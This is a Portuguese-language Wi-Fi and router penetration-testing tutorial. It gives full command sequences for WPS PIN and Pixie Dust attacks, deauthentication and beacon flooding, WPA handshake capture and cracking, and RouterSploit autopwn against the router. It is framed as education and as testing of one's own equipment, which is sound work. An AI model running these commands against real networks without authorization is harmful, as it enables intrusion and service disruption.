

GUIA DE PENTEST WI-FI & ROTEADOR

Ferramentas e Metodologia para Testes de Segurança

 **Aviso Legal:** Este guia destina-se exclusivamente a testes de segurança em redes e equipamentos de propriedade própria. A invasão de redes de terceiros é crime em praticamente todas as jurisdições.

Ambiente: Kali Linux | Metasploitable | Windows Server | Ubuntu | **Julho de 2026**

Índice

- 1. Diferença entre 2.4 GHz e 5 GHz
- 2. Fase 1: Reconhecimento e Escaneamento
- 3. Fase 2: Ataques a WPS (PIN)
- 4. Fase 3: Captura e Quebra de Handshake WPA/WPA2
- 5. Fase 4: Injeção de Pacotes e Desautenticação
- 6. Ferramentas Tudo-em-Um (Automação)
- 7. Fase 5: Ataques ao Roteador (Pós-Conexão)
- 8. Checklist de Início Rápido
- 9. Considerações sobre 5 GHz e Modo Monitor
- 10. Tabela Resumida de Ferramentas

1. Diferença entre 2.4 GHz e 5 GHz

Aspecto	2.4 GHz	5 GHz
Alcance	Maior (penetra paredes melhor)	Menor (mais direcional)
Velocidade	Menor	Maior
Congestionamento	Mais congestionado (mais redes vizinhas)	Menos congestionado
Segurança	Mesma — depende do protocolo (WPA2/WPA3)	Mesma — WPA2/WPA3
Vulnerabilidades	Mais ataques documentados (WPS/MiFis)	Menos ataques documentados

Observação: O protocolo de segurança (WPA2/WPA3) é o mesmo nas duas bandas. A diferença está no meio físico (frequência), não na criptografia.

2. Fase 1: Reconhecimento e Escaneamento

Ferramenta	Propósito	Comando Típico
airodump-ng	Descobrir redes, canais, clientes	<code>airodump-ng wlan0mon</code>
wash	Detectar se WPS está ativo em redes	<code>wash -i wlan0mon</code>
iwlist / iw	Listar frequências e canais suportados pela placa	<code>iwlist wlan0 frequency</code>
Kismet	Scanner passivo com interface web	<code>kismet</code>
Wigle.net	Banco de dados de geolocalização de redes Wi-Fi	via navegador

Passos de reconhecimento:

1. Coloque a interface em modo monitor:

```
airmon-ng check kill  
airmon-ng start wlan0
```

2. Escaneie ambas as bandas (2.4 GHz e 5 GHz):

```
airodump-ng wlan0mon --band abg  
# a = 5GHz, b/g = 2.4GHz
```

3. Verifique se WPS está ativo nas redes encontradas:

```
wash -i wlan0mon
```

3. Fase 2: Ataques a WPS (PIN)

O WPS (Wi-Fi Protected Setup) permite conectar dispositivos via PIN de 8 dígitos. O PIN é dividido em duas partes, reduzindo drasticamente o espaço de busca. Muitos roteadores modernos têm bloqueio de WPS após tentativas falhas (rate limiting).

Ferramenta	Propósito	Comando
Reaver	Brute-force do PIN WPS (8 dígitos, divide em 2 pares)	<code>reaver -i wlan0mon -b [BSSID] -vv</code>
Bully	Alternativa ao Reaver, mais rápida em alguns casos	<code>bully wlan0mon -b [BSSID]</code>
OneShot	Explora vulnerabilidade WPS Pixie Dust	<code>python3 oneshot.py -i wlan0mon -b [BSSID] -K</code>

Instalação do OneShot (se não estiver no Kali):

```
git clone https://github.com/drygdryg/OneShot.git
cd OneShot
pip3 install -r requirements.txt
```

Nota: O Pixie Dust é um ataque que explora a geração fraca de nonces em alguns chipsets de roteador, permitindo recuperar o PIN offline sem brute-force.

4. Fase 3: Captura e Quebra de Handshake WPA/WPA2

Se WPS estiver desabilitado ou bloqueado, o próximo vetor é capturar o 4-way handshake e realizar ataque de força bruta offline.

Ferramenta	Propósito	Uso
aircrack-ng	Quebra handshake com wordlist	<code>aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt</code>
hashcat	GPU-accelerated, suporta regras e máscaras	<code>hashcat -m 22000 hash.hc22000 wordlist.txt</code>
John the Ripper	Alternativa para quebra com regras	<code>john --wordlist=wordlist.txt -rules hash</code>
hcxtools	Converter capturas .cap para formato .hc22000	<code>hcxpcapngtool captura.cap -o hash.hc22000</code>

Fluxo completo:

1. Capturar o handshake:

```
airodump-ng -c [CANAL] --bssid [BSSID] -w captura wlan0mon
```

2. Em outro terminal, forçar o handshake (desautenticar um cliente):

```
aireplay-ng -0 5 -a [MAC_AP] -c [MAC_CLIENTE] wlan0mon
```

3. Converter para formato hashcat:

```
hcxpcapngtool captura-01.cap -o hash.hc22000
```

4. Quebrar com hashcat:

```
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

Dica: O formato .hc22000 é muito mais eficiente que .cap direto no hashcat. Sempre converta antes.

5. Fase 4: Injeção de Pacotes e Desautenticação

A desautenticação força um cliente a se reconectar, gerando um novo handshake que pode ser capturado.

Ferramenta	Propósito	Comando
aireplay-ng	Enviar pacotes de desautenticação	<code>aireplay-ng -0 5 -a [BSSID] -c [CLIENT] wlan0mon</code>
mdk4	Framework de ataques Wi-Fi (deauth, beacon flood, etc.)	<code>mdk4 wlan0mon d -b [BSSID]</code>
wifite	Automatiza escaneio, ataque WPS, captura e quebra	<code>wifite --wpa --wps</code>

6. Ferramentas Tudo-em-Um (Automação)

Ferramenta	O que faz	Quando usar
Wifite2	Automatiza reconhecimento + ataque WPS + captura + quebra	Para testes rápidos e automatizados
Fern WiFi Cracker	Interface gráfica (Python/Qt) para aircrack/reaver	Para quem prefere GUI ao CLI
Besside-ng	Script agressivo: captura handshakes em massa	Para capturar várias redes em uma sessão

Wifite2 — Exemplo de uso:

```
wifite --wpa --wps --dict /usr/share/wordlists/rockyou.txt
```

O Wifite2 escaneia automaticamente, tenta WPS, captura handshakes e tenta quebrar com a wordlist fornecida.

7. Fase 5: Ataques ao Roteador (Pós-Conexão)

Após obter a senha Wi-Fi e se conectar à rede, o próximo alvo é o painel de administração do roteador.

Ferramenta	Propósito	Comando
nmap	Mapear portas e serviços do gateway	<code>nmap -sV -p- 192.168.1.1</code>
routersploit	Framework tipo Metasploit, mas para roteadores	<code>rsf → use scanners/autopwn</code>
searchsploit	Buscar exploits públicos para o modelo	<code>searchsploit [MODELO_DO_ROTADOR]</code>

Fluxo pós-conexão:

1. Descubra o gateway padrão:

```
ip route | grep default
```

2. Escaneie o roteador:

```
nmap -sV -p- 192.168.1.1
```

3. Identifique o modelo/firmware e busque exploits:

```
searchsploit [MARCA] [MODELO]
# Exemplo: searchsploit TP-Link Archer C7
```

4. Use o RouterSploit para testes automatizados:

```
rsf
use scanners/autopwn
set target 192.168.1.1
run
```


8. Checklist de Início Rápido

Siga este fluxo passo a passo para iniciar o teste:

PASSO 1 — Preparação da interface

```
airmon-ng check kill  
airmon-ng start wlan0
```

PASSO 2 — Escaneamento geral (2.4 + 5 GHz)

```
airodump-ng wlan0mon --band abg
```

PASSO 3 — Verificar WPS

```
wash -i wlan0mon
```

PASSO 4 — Se WPS ativo, testar Pixie Dust

```
python3 oneshot.py -i wlan0mon -b [BSSID] -K
```

PASSO 5 — Se não houver WPS, capturar handshake

```
# Terminal 1:  
airodump-ng -c [CANAL] --bssid [BSSID] -w captura wlan0mon  
  
# Terminal 2 (forçar handshake):  
aireplay-ng -0 5 -a [BSSID] -c [MAC_CLIENTE] wlan0mon
```

PASSO 6 — Converter e quebrar

```
hcxpcapngtool captura-01.cap -o hash.hc22000  
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

PASSO 7 — Pós-conexão (se obtiver a senha)

```
nmap -sV -p- 192.168.1.1  
searchsploit [MODELO]  
rsf -> use scanners/autopwn
```

9. Considerações sobre 5 GHz e Modo Monitor

Nem todas as placas Wi-Fi suportam modo monitor em 5 GHz. Antes de iniciar, verifique os recursos da sua placa:

Verificar suporte a modo monitor:

```
iw list | grep -A 20 "Band 2" # Procure por 'monitor' nas flags de cada banda
```

Se sua placa não suporta 5 GHz em modo monitor:

- Foque no 2.4 GHz
- Ou use uma placa USB dedicada, como:
 - Alfa AWUS036ACH (chipset rtl8812au)
 - Alfa AWUS036NHA (chipset Atheros AR9271)
 - TP-Link TL-WN722N v1 (Atheros AR9271)

Instalar driver rtl8812au (se necessário):

```
sudo apt update
sudo apt install realtek-rtl88xxau-dkms
# Ou compile manualmente:
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
sudo make dkms_install
```

Observação sobre WPA3: Se seu roteador usa WPA3, o ataque ao handshake é inviável com força bruta. Nesse caso, foque em:

- WPS (se não estiver desabilitado)
- Configurações padrão de fábrica
- Vulnerabilidades específicas do firmware (busque CVEs no exploit-db)

10. Tabela Resumida de Todas as Ferramentas

Categoria	Ferramenta	Função Principal
Reconhecimento	airodump-ng	Escaneamento de redes Wi-Fi
Reconhecimento	wash	Detectar WPS ativo
Reconhecimento	Kismet	Scanner passivo com GUI
Ataque WPS	Reaver	Brute-force PIN WPS
Ataque WPS	Bully	Alternativa ao Reaver
Ataque WPS	OneShot	Pixie Dust attack
Handshake	aireplay-ng	Desautenticação / injeção
Handshake	hcxtools	Conversão .cap para .hc22000
Quebra	aircrack-ng	Quebra com wordlist
Quebra	hashcat	Quebra GPU-accelerated
Quebra	John the Ripper	Quebra com regras
Automação	Wifite2	Tudo-em-um automatizado
Automação	Fern WiFi Cracker	GUI para aircrack/reaver
Automação	Besside-ng	Captura massiva de handshakes
Ataques	mdk4	Deauth / beacon flood / DoS
Pós-conexão	nmap	Mapeamento de portas
Pós-conexão	routersploit	Exploits para roteadores
Pós-conexão	searchsploit	Busca de exploits públicos

Recursos adicionais

- **exploit-db.com** — Banco de dados de exploits públicos

- **wigle.net** — Mapa mundial de redes Wi-Fi
- **aircrack-ng.org** — Documentação oficial do suite
- **hashcat.net** — Wiki e regras de quebra

Aviso Final

Este guia é para fins educacionais e de testes em equipamentos próprios. O uso indevido dessas técnicas em redes de terceiros constitui crime cibernético. Sempre obtenha autorização por escrito antes de realizar testes de penetração em qualquer rede que não seja de sua propriedade.